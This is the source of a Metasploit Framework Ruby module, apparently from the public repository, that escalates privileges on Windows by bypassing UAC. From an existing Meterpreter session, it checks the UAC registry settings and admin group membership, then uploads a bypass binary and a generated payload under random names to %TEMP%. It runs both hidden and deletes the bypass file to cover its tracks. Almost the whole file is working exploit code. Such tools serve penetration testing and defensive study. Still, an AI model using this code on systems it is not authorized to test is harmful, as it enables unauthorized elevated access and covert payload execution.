metasploit-framework/modules/exploits/windows/local/bypassuac.rb

171 lines
4.8 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate UAC Protection Bypass',
'Description' => %q{
This module will bypass Windows UAC by utilizing the trusted publisher
certificate through process injection. It will spawn a second shell that
has the UAC flag turned off.
},
'License' => MSF_LICENSE,
'Author' => [
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
'mitnick',
'mubix' # Port to local exploit
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
],
'DisclosureDate'=> "Dec 31 2010"
))
end
def exploit
isadmin = session.railgun.shell32.IsUserAnAdmin()
if isadmin['return']
print_error('Already in elevated state. Exiting...')
return
end
#
# Verify use against Vista+
#
vuln = false
winver = sysinfo["OS"]
if winver !~ /Windows Vista|Windows 2008|Windows [78]/
print_error("#{winver} is not vulnerable.")
return
end
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
open_key = session.sys.registry.open_key(root_key, base_key)
lua_setting = open_key.query_value('EnableLUA')
if lua_setting.data == 1
print_status "UAC is Enabled, checking level..."
else
print_error "UAC is not enabled, no reason to run module, exiting..."
print_error "Run exploit/windows/local/ask to elevate"
return
end
uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
case uac_level.data
when 2
print_error "UAC is set to 'Always Notify'"
print_error "This module does not bypass this setting, exiting..."
return
when 5
print_good "UAC is set to Default"
print_good "BypassUAC can bypass this setting, continuing..."
when 0
print_error "UAC is not enabled, no reason to run module"
print_error "Run exploit/windows/local/ask to elevate"
return
end
# Check if you are an admin
print_status('Checking admin status...')
whoami = session.sys.process.execute('cmd /c whoami /groups',
nil,
{'Hidden' => true, 'Channelized' => true}
)
cmdout = []
isinadmins = []
while(cmdoutput = whoami.channel.read)
cmdout << cmdoutput
end
if cmdout.size == 0
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
isinadmins = cmdout.join.scan(/S-1-5-32-544/)
if isinadmins.size > 0
print_good('Part of Administrators group! Continuing...')
else
print_error('Not in admins group, cannot escalate with this module')
print_error('Exiting...')
return
end
end
#
# Generate payload and random names for upload
#
payload = generate_payload_exe
# randomize the bypass_uac_filename
bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
# randomize the payload exe name
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
# path to the bypassuac binary
path = ::File.join(Msf::Config.install_root, "data", "post")
# decide, x86 or x64
bpexe = nil
if sysinfo["Architecture"] =~ /x64/i
bpexe = ::File.join(path, "bypassuac-x64.exe")
else
bpexe = ::File.join(path, "bypassuac-x86.exe")
end
tmpdir = session.fs.file.expand_path("%TEMP%")
cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}"
print_status("Uploading the bypass UAC executable to the filesystem...")
begin
#
# Upload UAC bypass to the filesystem
#
session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe)
print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
#
# Upload the payload to the filesystem
#
tempexe = tmpdir + "\\" + payload_filename
fd = client.fs.file.new(tempexe, "wb")
fd.write(payload)
fd.close
rescue ::Exception => e
print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}")
return
end
print_status("Uploaded the agent to the filesystem....")
# execute the payload
session.sys.process.execute(cmd, nil, {'Hidden' => true})
# delete the uac bypass payload
delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}"
session.sys.process.execute(delete_file, nil, {'Hidden' => true})
end
end